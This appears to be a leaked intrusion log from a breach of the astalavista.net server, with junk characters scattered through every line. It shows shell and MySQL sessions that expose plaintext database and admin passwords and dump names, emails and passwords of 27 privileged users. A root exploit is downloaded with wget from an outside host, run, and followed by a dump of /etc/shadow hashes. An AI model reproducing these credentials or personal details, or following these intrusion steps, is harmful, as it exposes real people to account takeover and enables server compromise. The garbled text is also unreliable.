1 S* i Y0 V. pdrwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 _0077 H! f8 w. g) n8 h- J4 `, o- ?3 M
drwxr-xr-x 7 astanet astanet 4096 Jan 5 2006 _0mysql6 J3 |% d4 {0 p7 ]" {
drwxr-xr-x 7 astanet astanet 4096 Dec 22 14:16 链接标记astanet@astalavista.com$ B, ?0 ?9 t$ I
drwxrwxrwx 2 astanet astanet 4096 Jan 5 2006 backend0 A" j$ W' X) |" o E l) V
drwxr-xr-x 2 astanet astanet 4096 Oct 24 2006 banner3 K: s6 N7 Z0 m9 k9 M
-rw-r–r– 1 astanet astanet 25724 Apr 4 2006 banner.jpg0 Y, {6 P; w$ i. d: K4 S9 \
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 config0 g D _8 `+ [. N' K" t7 \% F I
drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 cron3 f' }& h( f0 h7 h) y* C
drwxr-xr-x 11 astanet astanet 4096 Jan 5 2006 dvd6 J% a5 x1 \3 q
-rw-r–r– 1 astanet astanet 36 Jan 5 2006 error.php
8 o* x) G) y, y-rw-r–r– 1 astanet astanet 1406 Jan 5 2006 favicon.ico
3 t, G, `3 w+ R* `2 ]- d4 I1 ndrwxrwxrwx 2 astanet astanet 4096 Dec 15 2006 feed
! F! v3 i$ z: G9 v2 d' {* ddrwxr-xr-x 3 astanet astanet 4096 Dec 8 2006 flashtour
) x7 {7 N' h/ x" f @9 c! w, o1 b-rw-r–r– 1 astanet astanet 18 Jan 5 2006 htaccess
5 g3 @7 N: [3 `/ E: |& e8 `& Y- b1 d-rw-r–r– 1 astanet astanet 585 Mar 24 14:50 .htaccess
& S# f0 e- e1 h$ l-rw-r–r– 1 astanet astanet 398 Jan 5 2006 index1.php- K# v, A7 U. ~* a. I
-rw-r–r– 1 astanet astanet 1036 Jan 5 2006 _index.html
; R' f/ s. T& Q) ?-rw-r–r– 1 astanet astanet 6880 Dec 23 14:44 index.php5 l: E( X6 [% x& w
-rw-r–r– 1 astanet astanet 676 Mar 21 2006 index_redirect.php9 Z; d; ~$ x* D2 q4 u. u& E2 w
-rw-r–r– 1 astanet astanet 739 Feb 24 2006 index.swf1 i7 N; ]4 x$ n3 {$ ^( Q
drwxr-xr-x 4 astanet astanet 4096 Oct 18 2006 irc5 a. ^( G: G- i. U( e. V$ I7 ~
drwxr-xr-x 4 astanet astanet 4096 Aug 11 2006 lang
- g0 I6 K$ N8 m8 ? kdrwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 lib
( x3 p& E5 X q: c9 }drwxr-xr-x 6 astanet astanet 4096 Aug 11 2006 log3 {9 P( j) J, k9 ]' N
drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 member
, s J% X! |$ W4 |9 ]' Edrwxrwxrwx 5 astanet astanet 4096 Jun 4 00:03 memberdata
J6 T- U# A8 cdrwxr-xr-x 2 astanet astanet 4096 Jan 5 2006 new
) T8 y+ `. a8 T! [0 |4 ?4 d-rw-r–r– 1 astanet astanet 7219 Feb 24 2006 pix1.swf
$ j! W. H3 E$ _+ vdrwxr-xr-x 2 astanet astanet 4096 Oct 27 2006 re0 j7 V" F7 O4 N/ ^ @2 W3 r! ?
-rw-r–r– 1 astanet astanet 23 Jan 5 2006 robots.txt
7 u7 e, Y: f. W/ {) P B8 \5 kdrwxr-xr-x 3 astanet astanet 4096 Aug 11 2006 rss# {; |) B# J+ a3 ?- @+ U, J
drwxr-xr-x 39 astanet astanet 4096 Dec 13 2007 sources
9 {. H* F0 c K: Ydrwxrwxrwx 3 astanet astanet 4096 Feb 2 15:40 temp_com
! n, `5 W4 [; Q+ vdrwxr-xr-x 7 astanet astanet 4096 Aug 11 2006 themes; t' ]. h3 ]2 B* l; \
drwxr-xr-x 2 astanet astanet 4096 Mar 14 2008 tmp_src0 J# u2 d7 K" |$ z% r _/ i
drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 tpl
! \9 i2 j0 m3 z; F9 h0 x% udrwxr-xr-x 3 astanet astanet 4096 Sep 7 2006 v2- e. A: ?5 V) n8 V2 w& t5 U1 H
drwxr-xr-x 16 astanet astanet 4096 Jul 5 2006 v2_old! X8 {4 H$ I/ b" P6 A5 i5 L U
-rw-r–r– 1 astanet astanet 35 Dec 4 2006 webcash.php2 L1 g5 S, r! `; k
drwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 wiki
; d$ F0 i8 U/ o" R$ J: @
6 V/ G1 K; `& {sh-3.2$ head -20 index.php# ~0 l, d L4 w. M7 }$ k& U2 P5 i
<?PHP
9 c8 O- S3 U. _ \' H% P/**
6 Z8 |' b8 z# P# K* Mainfile (external) for astalavistaNET v2.0' e2 F# S {1 o3 V9 Z, z( E" }
*' p" G2 B; F( p" |8 |' k' }5 V+ r
* @copyright Astalavista IT Engineering GmbH/ z/ Z ?: u% k
* @author Thomas Kaelin <链接标记thomas.kaelin@astalavista.ch>
4 ]6 {2 w7 r8 Z7 @- s7 @- y* @version 1.0
2 G* c$ [ Z! L( U3 }9 w*/# |/ E' W: A. A, u( Q T
2 F. p# w8 V0 ~6 ?" Z" ]0 A
if ($_SERVER['PHP_SELF'] == ‘/webcash.php’) {7 w) q' T6 x# u4 q- ^( L6 D/ X
$dontStartSession = false;
' W- L9 @5 P% f, P V% ] } else {3 |- i$ h: c( Z# v5 P m0 d
$dontStartSession = true;# e- n+ @: H, [) S& u2 G
}
* p, d% V: v$ t2 g2 T' ?5 b require_once($_SERVER['DOCUMENT_ROOT'].’/config/com.conf.php’);
% z. J# j! Y& E7 a" f require_once($_SERVER['DOCUMENT_ROOT'].’/config/ext.conf.php’);
3 p' P/ W% [0 S require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’com.class.php’);$ s \9 y5 Q( Z& |5 l' z8 e
require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’ext.class.php’);
$ e n$ E/ q( Q; C* b
. [% i) c# V) tsh-3.2$ cd config
2 Y+ t+ O% B. d: O9 l3 qsh-3.2$ ls -la4 \8 A$ J0 D5 m0 L8 j5 A
total 322 w7 R0 v8 W2 b: c# o- W- Y4 B) l. e, b
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 .
9 {9 o7 V/ l# @1 J4 edrwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
9 ~4 j) i6 S3 F-rw-r–r– 1 astanet astanet 987 Aug 11 2006 adm.conf.php+ N+ `1 {/ y; V+ y$ _2 h4 |( O
-rw-r–r– 1 astanet astanet 4937 Dec 23 15:48 com.conf.php
& {# I/ z( M, G P8 C: a2 n! D- ~6 `-rw-r–r– 1 astanet astanet 913 Aug 11 2006 cron.conf.php5 ^; A8 j; i2 U) R: S9 K
-rw-r–r– 1 astanet astanet 1668 Aug 20 2008 ext.conf.php9 N; T8 [9 _- d* k2 |( j8 H" ?
-rw-r–r– 1 astanet astanet 2724 May 30 2007 int.conf.php
% @8 e4 t& i! A @) j4 k# ]: z9 B; R) Z: M3 ~* n% R9 \; t
sh-3.2$ cat com.conf.php
6 _) `8 h7 Z' v/ ?% I) K$ k- K[snip]
4 Q) e7 l6 m# Z+ g& B//member-database! A ]: M0 X) o3 y; H5 m
$_CONFIG['db_mem_server'] = ‘localhost’;8 b7 q( q( F' C4 Q
$_CONFIG['db_mem_database'] = ‘astanet_membersystem’;/ r9 ~9 i5 x3 z5 F
$_CONFIG['db_mem_user'] = ‘astanet_db’;" X* c1 \" ]. g" r
$_CONFIG['db_mem_password'] = ‘TXwVrC7hbq’;! r2 ~6 M4 f7 Q$ n* X
$_CONFIG['db_mem_debug'] = false; //true or false8 D# d3 _0 X! b
//ads-database
1 e9 ]. ]3 f6 j8 H& ^. }: I: Y4 W H, G' i0 I$_CONFIG['db_ads_server'] = ‘localhost’;
7 w7 I" A% J" t, R7 T$_CONFIG['db_ads_database'] = ‘astanet_ads’;
$ }4 v) H- l/ q( }' e$_CONFIG['db_ads_user'] = ‘astanet_db’;5 A3 U& p5 B2 H& r
$_CONFIG['db_ads_password'] = ‘TXwVrC7hbq’;' d0 K- e* S; T, Y, {
$_CONFIG['db_ads_debug'] = false; //true or false$ B `/ E3 c0 P' T
//rainbow-database
; T! ^5 N4 j: V9 a9 g; T X8 l7 v$_CONFIG['db_rainbow_server'] = ‘212.254.194.163′;
; t, @! _+ k# r* N$_CONFIG['db_rainbow_database'] = ‘rainbow’;. O8 V& i; Q7 {# s% z& Y! z* s
$_CONFIG['db_rainbow_user'] = ‘dinu’;* u v% h7 V9 j3 _+ X( }- f2 \
$_CONFIG['db_rainbow_password'] = ‘dinudinu’;
% e+ M+ x" z& r6 z: B$ M$_CONFIG['db_rainbow_debug'] = false; //true or false; M8 A# ]" L( u* ] q! O. X
//mailing lists database6 d, E6 N" P* n s4 T. S4 h
$_CONFIG['db_mailing_lists_server'] = ‘localhost’;6 `2 P+ T, T' {
$_CONFIG['db_mailing_lists_database'] = ‘astanet_mailing_lists’;0 U* N1 X5 N: W0 o
$_CONFIG['db_mailing_lists_user'] = ‘astanet_db’;3 w. M8 F: z' O( ?9 M6 ^! r/ k
$_CONFIG['db_mailing_lists_password'] = ‘TXwVrC7hbq’;( i% K: S& V5 }6 ]2 G1 j' C2 C
$_CONFIG['db_mailing_lists_debug'] = false; //true or false
# M) j- N, Q: f. }( `3 \) I# n8 _//paypal) h" f7 U" ]: x
$_CONFIG['sub_pp_url'] = ‘链接标记[url]https://www.paypal.com/cgi-bin/webscr[/url]’;- p. E) Q2 f% E8 {2 b& _/ L
$_CONFIG['sub_pp_cmd'] = ‘_xclick’;* O) {; E: Q* o h8 I0 M9 f
$_CONFIG['sub_pp_business'] = ‘链接标记info@astalavista.net’;9 O$ G0 X0 ^1 X& m1 Q1 L
$_CONFIG['sub_pp_noship'] = ‘1′;3 D: k. m, r! v) T% V
$_CONFIG['sub_pp_referer'] = ‘链接标记[url]https://www.paypal.com/[/url]’;
^) A; ?7 V \( \7 n! j* l$ Z[snip]" g6 ^! u( Z6 q; \
/ `" R V/ \* d) S; ssh-3.2$ cd ..( G2 E/ l3 D1 P. ]. ^2 |
sh-3.2$ cd member
. V. {4 R* A' M: V9 Vsh-3.2$ ls -la
8 Q* i h1 H/ o! t4 P2 F& W9 _total 20
! W5 H$ A- T8 [2 A( k5 t' ]drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 .7 f- e3 Y; B' S5 Y. y8 ^ O1 q
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
* N! u- _( j& z/ k, v-rw-r–r– 1 astanet astanet 19 Jan 13 14:02 .htaccess* S) C& Y1 o( S! k
-rwxr-xr-x 1 astanet astanet 6709 Jan 13 14:06 index.php) `5 U) H9 v% Z3 W7 J9 ~% g6 }
sh-3.2$ cat .htaccess& a6 o5 k9 A: y. F
SecFilterEngine off
+ }7 [7 J! j& E% q; @% a K
9 k( |/ Q) q* s( w( Zsh-3.2$ cd ..: y% R* o6 i7 d" ?2 D
sh-3.2$ cd cron
7 u+ ~% [( ~$ Osh-3.2$ ls -la) G: B2 o) ]+ h8 O7 R
total 168
5 Y% F. c% _' m \' X* Idrwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 .
$ o5 n& h8 o! f# ?& Fdrwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..5 f) A9 c0 Y9 ~
-rw-r–r– 1 astanet astanet 1272 Jan 12 08:24 0_corefile.php
1 \# o b& Q$ ~-rw-r–r– 1 astanet astanet 2356 Aug 11 2006 0_functions.php
' K4 K; Q* J" O$ d: @# k8 A3 L+ Z-rw-r–r– 1 astanet astanet 3616 Dec 23 15:44 1_daily.php: e& v# |1 P+ S8 a6 A% z; ~8 c* |
-rw-r–r– 1 astanet astanet 527 Aug 11 2006 1_fivemin.php
3 ?9 A# c8 C; T. @-rw-r–r– 1 astanet astanet 5006 Dec 23 15:39 1_hourly.php
8 y% X% k* ?8 \* \* Q-rw-r–r– 1 astanet astanet 432 Aug 11 2006 1_weekly.php
, f$ ^5 a) R9 |-rw-r–r– 1 astanet astanet 2277 Aug 11 2006 2_advertising.php
0 ^5 M+ a4 R( W-rw-r–r– 1 astanet astanet 4882 Dec 23 15:40 2_archives.php
0 _4 N$ F7 d$ ^; x" B/ ?-rw-r–r– 1 astanet astanet 3784 Aug 16 2006 2_awstats.sh
2 f9 H2 E( d; O. u4 `4 I4 X5 H-rw-r–r– 1 astanet astanet 14894 Jan 12 08:51 2_expire.bak.php
* h4 P. O4 C9 _. S& e/ M5 O-rw-r–r– 1 astanet astanet 14979 Jan 12 09:10 2_expire.php
1 n) [$ _% D: r8 V( W+ F-rw-r–r– 1 astanet astanet 7657 Aug 15 2006 2_exploitree_updater.php; p% E( E% K. c
-rw-r–r– 1 astanet astanet 686 Dec 23 16:31 2_filesize.sh5 y o! _7 K# Z' N8 K, t, x
-rw-r–r– 1 astanet astanet 9853 Aug 11 2006 2_keywords_old.php* b7 F3 z* F4 D( p. e0 ]
-rw-r–r– 1 astanet astanet 15664 Sep 22 2006 2_keywords.php
M$ E3 z# `' |& o9 j" d-rw-r–r– 1 astanet astanet 1233 Aug 11 2006 2_proxy_checker.php0 J$ ^ ^+ x9 a7 b/ d- _! U
-rw-r–r– 1 astanet astanet 7558 Aug 11 2006 2_proxy_collector.php% [1 E3 E' M3 q7 ^- ~
-rw-r–r– 1 astanet astanet 796 Aug 11 2006 99_create_emails.php
. z# f0 x2 @) `drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 99_lang_email
- X) \$ I& G& i0 l9 M-rw-r–r– 1 astanet astanet 9622 Jan 6 16:04 login_reminder.php) Q! B6 R3 b& d, J; y
-rw-r–r– 1 astanet astanet 9620 Jan 6 16:05 login_reminder_test.php
, v* e) f1 a" C1 Z. R* A
% l- N6 x* O4 g& f: n2 csh-3.2$ cd ..
# n8 A+ L- Z" {. U* l6 I0 wsh-3.2$ cd _007% W' |: x% C$ t5 t6 ?) _4 A- W
sh-3.2$ ls -la& [5 Z; m4 z$ t6 G/ h f
total 24
1 f2 s2 M3 ?2 h4 J& sdrwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 .' h3 ^0 W; L3 R3 n! A; J; Y
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
- _) g- c$ A/ [0 D1 x& c5 Y-rw-r–r– 1 astanet astanet 96 Dec 23 15:17 .htaccess
+ a3 B& ?% _; q ~. Z-rw-r–r– 1 astanet astanet 3263 Jan 15 2007 index.php
& ?: y/ B% j5 Y$ c7 a-rw-r–r– 1 astanet astanet 20 Dec 27 2006 info.php# e/ f; v1 f$ @0 B
drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 sitemap& N! Y7 v/ J) Q2 p$ ]
% V9 K# V& m) C
sh-3.2$ cat .htaccess
1 ]/ L8 D1 u( `& B" tauthType Basic
! H5 H5 t5 X- t' H) C: \authName Admin7 o. A% z' j8 W. b. Q
authUserFile /home/astanet/auth/.htadm_pwd
K! Y4 ]6 W ~+ Jrequire valid-user. R |$ @! T; ]! l
2 V& f( [1 M F- T) S( qsh-3.2$ cat /home/astanet/auth/.htadm_pwd
8 _% ^/ P# K3 X7 V; jadmin2net:CR0bl65MwhfT) u( C& ?4 `5 g1 l; I
! F, z4 M9 ?: f$ u0 ^7 E B+ W
sh-3.2$ mysql -u astanet_db -p
, S) x6 U7 W6 S) E# w* ~/ v) MEnter password: E8 K! y" m& ]' U: J) H [
Welcome to the MySQL monitor. Commands end with ; or \g.
: k9 O$ T" z" Y8 N3 Y( n0 VYour MySQL connection id is 275153! {7 G4 C$ s+ f2 N
Server version: 5.0.45-community-log MySQL Community Edition (GPL)
+ O! u4 `0 P6 f6 C- c* T! p
) I* Z) H7 W" W! u5 S. R1 vType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.. h, @- X. G* s2 F3 G3 J( T! r& U O8 X
+ E# L8 \5 @" f) F7 Wmysql> show databases;
( X4 x6 I& N6 m3 r9 p+———————–+" u i9 o" K( A1 O- L" y" [
| Database |
. E& C7 A$ h- | X5 [ f& {- b+———————–+
+ l) G Z2 `/ X4 Q3 Q| information_schema |* ]# Q m' Y4 G. H
| astanet_ads |
6 D0 S) \3 d* J+ h+ p! E| astanet_mailing_lists |' U* G) q N- n" R' P
| astanet_mediawiki |
' f" Y8 l+ O! n! ^+ \! v5 ` E7 }0 y| astanet_membersystem |
7 C: u w4 [" j| test |5 b- y9 s; ~7 I. ]; ^1 y
+———————–+
4 v% b1 {0 ?* w$ Z: V0 [6 rows in set (0.00 sec)9 q% d- [0 o3 H: H9 v! c8 A6 S- N) k
; \, C4 D5 O% }% p C0 R. R
mysql> use astanet_membersystem: e0 u2 L; c2 t! S% R
Database changed% u6 j1 Y& I) @' X* x
mysql> show tables;
1 o9 @/ K0 G0 y3 L+———————————–+
: e$ u- _( a: I0 ]) m( W| Tables_in_astanet_membersystem |! d4 W9 K5 T: F& |$ M
+———————————–+& E; V; x, p' ]1 P. n
| blacklist_categories |* G# q3 W/ N$ @9 f3 ]) e- e% ~0 V
| blacklist_content |3 j" i$ r' H8 @* @8 [6 q, Z
| blacklist_levels |/ l7 \: R! y+ z: d9 i; k% V
| blacklist_mcset |# t5 D7 C# M' {4 ]* l/ h6 h7 g
| dir_categories |
/ p2 J! b7 m8 r. S4 A4 v1 @9 `6 c2 R| dir_comments |0 K! J$ d7 c/ l( z# {
| dir_links |
& m2 q1 r2 h; A% b| dir_temp |
* V2 R7 o) z* }: {| dir_votes |
7 ^8 P* |3 d6 p4 y! i2 ^| documents |! L$ B1 J0 W' R/ i+ `9 X, t
| documents_categories |; c8 h' k& _: H0 x
| email_content |9 _8 Q/ u: S1 C
| email_settings |
5 y# x" N' I1 t- ]* L| exploits |
/ u. j# A7 o; P3 t8 q! z& @| exploits_categories |/ x s) e8 Z4 Y/ I! k
| exploittree_categories |
" j' v1 v6 j9 r/ \9 c; e| exploittree_exploits |
- P( W. [7 o& U$ V2 n| home_values |
: o6 @$ B2 f/ o1 V; T| iso_countries |" m* }0 U8 d5 G" s
| links_categories |* w/ _/ h4 J( _ R( z- C
| links_records |% x% x$ r2 R9 G/ P' J- [
| links_unauth |& }9 p+ x% n% p
| links_votes |0 r$ F" m; e( N' y1 ~6 y% S
| log |, H! I. [7 Q: ?1 ~6 L
| news_categories |
( b t% o# v; s3 _" w| news_comments |
, J9 V, L' ?: H8 ^7 y c+ a| news_emoticons |
/ u& T( z2 c, j2 _& @| news_latest |
9 b! p* n' S; v| news_messages |
% n3 ^1 H. A( U G| news_statistics |3 T$ X# X0 J/ G' P( Y' f; j* ? ^
| news_votes |
. T1 j: X$ d# t a. k| prices_content |
; |- e, ?& J( || prices_offers |
; E/ J$ ^* R2 Y3 g" F! R, E x| rss_settings |8 N, G5 E) T5 e2 S5 \6 z: D# ^
| sessions |
& Q0 ~7 A; d( K# n3 s. S* r5 O| stats_signups |$ h8 }/ Z% D9 O1 r0 Z) m
| u2u2 |9 M& c& W" K, Z i
| u2u_contact |' p1 d, ?. F5 z7 o6 [+ t J9 x
| u2u_settings |7 R) T1 A* A: g; g w* g8 L! E1 _
| user_keywords_selected_categories |5 A- ?& k n$ C& S( ^: s& [# T
| users |' Z; G) A+ Y7 {4 h
| users_ipn_test |
1 y: }. t, C; \6 C" O) X| users_keyword_values |+ U1 o) _) F4 } E
| users_profile |
0 c3 f3 D$ v) p/ m| users_temp |
- p' W& ]+ j; r| users_upgrade |2 Z, C% V! P9 F, L
+———————————–+
% L% b" S7 n* c6 J, U46 rows in set (0.00 sec)+ K& x f6 x. N- N @3 [
7 a: C- x! v- _; H) I8 R* M
mysql> describe users;& }! ?. j8 U& ~: S" W, Y
+————————–+————————————–+——+—–+———————+—————-+, U) ~( Z6 D4 L$ f8 w% L2 F: F/ j
| Field | Type | Null | Key | Default | Extra |
' [$ a% k, t7 A' @+————————–+————————————–+——+—–+———————+—————-+
V& [' k0 q# \4 ]: M9 }- r' q| primary_key | smallint(5) unsigned | NO | PRI | NULL | auto_increment |
3 G8 S* O* w" j2 |9 Y6 W' N$ J| user | varchar(50) | NO | | | |
7 a' r% b# B- @; v* l| nickname | varchar(30) | NO | MUL | anonymous | |
3 Q/ r# r! ^6 D/ Y9 h: Z| password | varchar(30) | NO | | | |& X3 j2 A1 C7 D# N
| userlevel | tinyint(3) | YES | MUL | NULL | |$ c7 Z* Q! R w K2 W
| exp | int(8) unsigned | NO | | 0 | |' H5 F, o1 S" w7 g/ c
| email | varchar(50) | NO | | | |
6 ?# J. b n- L6 V$ C2 B! c& [| ip | varchar(15) | NO | | 0 | |
- Q7 B# w2 U' I1 }| proxy | set(’0′,’1′) | NO | | 0 | |9 _" J$ Y3 E0 |5 Q" e$ X
| logtime | timestamp | NO | | CURRENT_TIMESTAMP | |
5 ?6 R+ e& F* e" c, I- m. U$ z| login_reminder_last_sent | timestamp | NO | | 0000-00-00 00:00:00 | |
( O' q: g8 E! a& p9 _, n0 y| anz_in | tinyint(1) | NO | | -1 | |
) O8 `8 a2 L8 B7 P7 m; N \| status | tinyint(1) unsigned | NO | | 0 | |
) @# P4 D( H7 h. h| checked | set(’0′,’1′,’2′) | NO | | 0 | |
2 W+ ^" J6 T; f* m| freemember | set(’0′,’1′) | NO | | 0 | |
" H1 @& U; Y" w% N* p* G5 V| ordertype | set(’transfer’,'wp’,'pp’,'mc’,'CnB’) | YES | | NULL | |
5 G: s. T( Z% S2 F/ @$ @0 ~1 a' W2 F| lang | tinytext | NO | | | |
% |& V$ I1 m. ~6 t| adid | smallint(6) | NO | | 0 | |
- E: l' k: v/ }& X k! q1 h| pp_txn_id | varchar(255) | YES | | NULL | |
' d$ Q' T* {0 f8 Y& V& E| cnb_transaction_id | varchar(255) | YES | | NULL | |8 v" u& s7 I1 E" y
| cnb_order_id | varchar(255) | YES | | NULL | |
/ R+ J8 p2 M3 y% v/ @" c3 y* e| cnb_user_id | int(11) | YES | | 0 | |8 `, c- x+ h% N1 \5 V8 h/ d
+————————–+————————————–+——+—–+———————+—————-+
9 [- [8 z* s8 r22 rows in set (0.01 sec), {& z- Y. w2 E5 |1 H. ]" A, N5 f
: f G* F( ~7 L' x- x3 P' @/ k
mysql> select count(*) as skids from users;. t' [% o$ u4 j' c) B3 e
+——-+9 k3 Z3 _4 W( W+ E0 L7 N8 i3 ~
| skids |' D& S# ~. B( W& J* A$ _
+——-+
# L& P& N" C& ~# n| 25199 |
8 P6 P5 C2 P4 s% i/ m/ |! [+——-+
8 x2 f; K+ Q3 e0 T9 g0 e1 row in set (0.00 sec)3 E+ r0 h4 }& L8 g- a- z6 K
1 _- `6 C6 n, F1 f/ l
mysql> select user,nickname,password,email from users where userlevel = 1;7 u2 @1 y2 C6 r9 n" w$ p2 E
+————————–+———————-+——————+———————————–+
! h( s3 o5 _ u5 g2 r, V: v| user | nickname | password | email |- S3 Y T+ P! g5 A& z1 _- J
+————————–+———————-+——————+———————————–+9 W m% ^$ v/ K, ], f! M. f
| pascal | prozac | astaman3 | 链接标记info@astalavista.net |
: K( j1 y+ |" I2 C| Ivan Schmid | rOOtless1 | astalavista4asta | 链接标记ivan.schmid@comvation.com |
- I) T' Z# _& V| qreymer | Palermo | qblsw85iam | 链接标记eche@home.se |
( {6 P3 W/ Y6 o) ~& || Christian Wehrli | g0atherd | hitt?74 | 链接标记g0atherd@gmx.net |( ]; O1 v0 ~! r8 E- N7 ]
| Andrew Blake | Minky | liq73uid | 链接标记a.blake@har.mrc.ac.uk |
/ [$ U( l6 n" W/ L: t" z6 ^| Martin Wyss | dinu | kj63;cXy | 链接标记martin.wyss@astalavista.net |- w, @$ v. H2 Z' V2 I
| Leandro Nery | Timan_no_Sanco | nery2002 | 链接标记leandronery@hotmail.com |
; M" G1 w; }* D0 h| shaving ryans privates | ShavingRyansPrivates | memberboard313 | 链接标记shavingryansprivates1@hotmail.com |7 v) h6 F6 \; C _1 e4 o
| Gerben van der Lubbe | Spoofed Existence | Lb59eXg5 | 链接标记spoofedexistence@hotmail.com |9 s! Z( W/ Q1 ^9 c% W
| David M Lee | Daremo | icG12m03 | 链接标记daremo@hackerheaven.com |
3 H) X5 L7 P# U E" j0 a| David Corn | akriel | ve3uB$cUku | 链接标记akriel@fallenroot.net |
4 |8 E! g1 l3 ~6 \8 d: W9 N| Thomas Kalin | Gwanun | QwErTy123 | 链接标记thomas.kaelin@astalavista.net |, W6 N* j. k) ?* z* M8 t
| Marcus unknown | Cra58cker | hhCr4ck06 | 链接标记unknownmarcus@hotmail.com |$ ]+ O, t5 Z2 J
| David Ellis | dellis203 | philip | 链接标记dellis@nightwatchnss.com |0 |3 B1 D6 d* `9 I% Z
| Lars Christian Solberg | xeor | tF3s4|Nea | 链接标记xeor@hush.com |- k" Z* p' s* O7 _; N7 l. B
| Paulo Santos | Be1er0ph0r1 | amor01 | 链接标记pmsantos@gmx.ch |
, c# m5 {" d# ?$ Q3 K- u5 v| Thomas D?ppen | daha | asta4tom | 链接标记thomas.daeppen@astalavista.ch |
" G! M+ u* H# Q* `| Touraj Abbasi Moghaddasi | -Crow1 | NetR0ck | 链接标记toraj.a.m@gmail.com |; j* |, P4 v% a# T
| Fabius Bernet | traviser | wellenreiter100 | 链接标记fabius.bernet@astalavista.ch |
3 [, @8 a- A# u, P| Zachary McElroy | duder1 | dirty245dix | 链接标记mcelroyzj@yahoo.com |
# W8 w3 @ k% l% t$ X| Leron Cohen | cohen2 | leron4free | 链接标记leron@quiredmedia.com |: S- v; Z3 w. s4 U! t7 X
| Beatriz Pontes | anonymous1656 | pitas | 链接标记joao.pedro.pontes@gmail.com |& ]1 F! W; i7 a( h' i" x9 {2 {
| Glafkos Charalambous | anonymous2086 | si99490178$# | 链接标记nowayout@webhostline.com |
' r; h, O5 G7 {: t* R C/ ?| developer COMVATION | anonymous2402 | Ri?Q$Q$MVU | 链接标记ivan.schmid@astalavista.ch |
+ j) E# l( k% B! a- ~| Peter Fisher | cyph3r1 | testZer025435 | 链接标记cyph3r@astalavista.com |# \* _; K. ~7 i+ g
| sykadul | sykadul | ak29eral | 链接标记sykadul@gmail.com |
! {7 U$ k0 M! [- Q# f- t| Ronny Janzi | commander1 | mpbdaagf6m | 链接标记ronny.janzi@astalavista.ch |
" L% x# S( [5 x+————————–+———————-+——————+———————————–+9 b, M* _/ q9 D/ D: H6 |
27 rows in set (0.00 sec)8 ]8 x7 i; B" t& r1 I3 x5 Z
' Y. _8 A8 @6 L7 P5 Dmysql> exit;
( r( ^9 g; j9 ^" w# PBye
% B4 g: G6 h- Q) x( j2 H# u1 D( ^4 d4 c! x) V3 g: k
[~] plaintext passwords? yes,- B1 |' S+ P+ X( h# B3 J, s$ {5 A
Those so called “security professionals” who charge you $6.66 / month to
* O, D- J/ K. R+ v D. tregister at their hack-proof portal, save your passwords in plaintext…0 v9 W6 }4 W# }4 F' O
brilliant!
) w" g2 C3 B5 x8 Z/ U- O
8 k0 I# s- ~+ g8 d/ s$ v+ Y, e/ ?[~] This been fun but we want more.# Q+ A: z8 _) R
) ?3 h5 s6 ^; o: A. v
sh-3.2$ uname -a" Q/ G* o9 T; M0 l# [ I& F2 \
Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux" n& S8 [4 y( N1 `* o ?
sh-3.2$ wget 链接标记[url]http://anti.sec.labs/g0troot[/url]$ G; V/ ~ j$ D* g8 {/ _6 X0 I
–13:33:37– 链接标记[url]http://anti.sec.labs/g0troot[/url]
3 X+ y0 K) E, x. M/ j' O- HResolving anti.sec.labs… 13.33.33.37# v9 e8 _9 P0 G! V' I7 G
Connecting to anti.sec.labs|13.33.33.37|:80… connected.
. L2 W' J- J! N6 YHTTP request sent, awaiting response… 200 OK0 q6 V* {1 d+ h( W$ L/ f8 |' A
Length: 18200 (18K) [text/plain]
: Z2 \% g: @* V' p+ o, d3 h. SSaving to: `g0troot’6 q6 A, H4 q: I+ l% q
6 z1 t8 n1 i L. x3 @
100%[=========================================================================================================================================>] 18,200 58.6K/s in
; @& N' l, x' U# B0.3s; w' u" F% E; {2 N" }
1 x- q: R; O% S. D18:55:14 (58.6 KB/s) - `g0troot’ saved [18200/18200]
4 M1 ?" j' X. s( t+ v& |' w+ d1 S, E. \9 `# x# y/ O
sh-3.2$ ./g0troot -i x86_64
% X1 r ^9 Q! I: V6 k: j: |[+] g0troot - anti.sec.labs
( [' _8 x3 b8 g% \1 N[+] Target: 2.6.18-128.1.10.el57 Z) q- u- y( R. [
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>] h8 j3 }/ ~' N6 C5 a# f
Q' A+ O! h0 k9 A! U9 t9 w0 b[+] r00tr00t8 k" Y7 E& P& l6 y# K
[~] Executing shell…
, @& j7 W0 V% Z: n( n- ?
! P2 ~& \1 Y3 {% ^& Csh-3.2# id: p/ s( t8 |. v5 o- `/ d" }
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
: h6 T5 F; u: x" l: ]
/ |! E0 X- V- h% N- }5 s. g' Ysh-3.2# cat /etc/shadow3 d. `6 m* @5 p' E2 z! H
root 1$P/3ZMAgv$E9B4mX02s1Xrimj46V602.:14015:0:99999:7:::" a! A; g" V3 ^% R
[snip]
- D5 E# @4 h% x. I/ G1 o badmin1$sbycsEGo$d81laShnxFiziFaQMH32F.:13770:0:99999:7:::
$ @; w" W, c; Y {; L% E$ `jon1$5yHxRLX.$8pZs0cQLNh5uFCK3m4st1.:13777:0:99999:7:::2 ?" G3 _: S; I7 j/ I' w0 [; v
